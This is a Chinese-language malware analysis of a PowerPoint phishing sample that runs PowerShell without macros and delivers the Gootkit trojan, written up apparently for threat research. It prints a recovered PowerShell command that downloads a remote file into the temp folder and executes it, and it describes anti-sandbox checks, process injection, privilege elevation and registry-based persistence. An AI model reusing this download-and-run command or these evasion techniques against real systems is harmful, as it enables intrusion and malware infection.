1 概述
最近出现了一种新型的PPT钓鱼攻击方式,该种钓鱼攻击方式不需要宏就能实现执行powershell的功能,通过网络下载gootkit木马进行控制。
2 分析
样本 MD5:3bff3e4fec2b6030c89e792c05f049fc
在拿到样本我们放到虚拟机中进行执行,可以看到以下,但是这并不会触发攻击
当我们用F5放映这个文档后,并把鼠标放到 Loading…Please wait 这个上面,就可以看到如下的画面,提示我们要启动一个外部程序
这个时候我们在点击启动之后,会看见一个powershell的窗口一闪而过,可以知道样本执行了一段powershell的脚本
我们将样本后缀名改为zip,看看这段powershell 代码在何处,我们最终在ppt\slides中找到了这段powershell脚本
我们在slide1.xml.rels 中找到这段powershell脚本,我们可以看到Id为rId2,
我们在对应的slide1.xml 中id为rId2 对应的动作位为,当鼠标覆盖时,就触发这个外部事件
id="rId2"action="ppaction://program"/>
我们来看看这段powershell 脚本(已还原),可以看到是下载一个php文件放到临时文件夹,并重命名为ii.jse
powershell -NoP -NonI -W Hidden -ExecBypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://'+'cccn.nl/'+'c.php',\"$env:temp\ii.jse\");Invoke-Item \"$env:temp\ii.jse\""
我们可以看到这个js 文件,这个文件是经过强混淆的作用是下载个exe文件
我们来详细分析下下载到的PE文件
MD5
13cdbd8c31155610b628423dc2720419
编译时间
2017年5月27日14点
编译器信息
Microsoft Visual C++ ver. 8.0
壳信息
无壳
下图为样本的大致流程
在样本的开始阶段,做了些反模拟机的工作,比如一些错误的函数调用,看返回值是否被修改,执行很多无效指令,来达到模拟机指令的阈值等等
我们来看看这个样本中的sub_41E160中的无效指令
之后一个大的sleep来对抗沙箱,因为很多沙箱是有时间范围的
之后在解密出一段shellcode进行执行,这段shellcode的主要作用就是解密出一个pe文件然后加载运行,解密出的PE文件
将这个PE文件dump出来,看以下基本信息
MD5
89509761e2636e2b8a1c6f7ec8823b8f
编译器时间
2011-04-11 02:39:24
编译器类型
Microsoft Visual C++ ver. ~6.0~7.10 – Linker 10 – Visual 2010
样本首先会获取当前样本名称和mstsc.exe比较,如果不相同,则进入注入模块
样本首先会创建mstsc.exe
然后通过ZwCreateSection和ZwMapViewOfSection 进行注入,并在注入后,获取启动地址并进行修改
我们手动附加,进行修改,然后修改EIP,进行调试,我们将开始地址修改为下面的样子
由于和原文件代码相同,我们直接到文件名比较的地方,这里比较相同后,首先会获取进程的权限
如果判断是低权限的进程,则会通过ShellExecuteEx 使用管理员权限启动
之后在比较当前进程不是IE和不是任务进程后,打开BIOS注册表,查找是否在虚拟机中
并从系统信息中找到沙箱的蛛丝马迹这个是寻找Sandbox
查找BOCHS
查找的沙箱还有 VBOX 、QEMU、SMCI、Vmware、FTNT-1、VirtualBox、
如果查找到沙箱则进入死循环
然后拷贝自身到如下目录下,重命名位mqnets.exe,并执行
并删除自身
我们看看在拷贝到IE目录下样本会做些什么,在这里比较是在IE目录下的时候,会发生跳转
可以通过伪代码可以发现在通过比较后。会执行一个线程,我们看看这个线程
开头还是一段判断自己是否在虚拟机中
设置了4个环境变量分别是
Standalonemtm true
Vendor_id exe_scheduler_3333
Mainprocessoverride svchost.exe
RandomListenPortBase 6000
这个线程的主要作用是开启下面的5个线程
我们首先看第一个线程,主要作用是连接一个网址
网址为 web.1901ospinosct.com
在连接时候,还包括了探测IE代理的设置,如果发现,进行设置
关闭重定向和加入查询认证(SSL)
将接收的文件内容放到注册中
注册表为 HKEY_CURRENT_USER\Software\binaryImage32_0
HKEY_CURRENT_USER\Software\binaryImage32_1
第二个线程主要是将第一步下载的创建成文件
将IE的保护模式设置位禁用
第三个线程将文件进行注入
第四个线程主要是保持持久化
创建inf文件
设置启动
使用 IEAK\GroupPolicy\PendingGPOs key 去保持持久化
第五个线程主要是判断Temp文件是否如下图的文件,如果有壳杀死自身,并删除自身
总结
样本在对抗沙箱和模拟机中有很强的针对性,在持久话方面也很独特,值得研究一下
|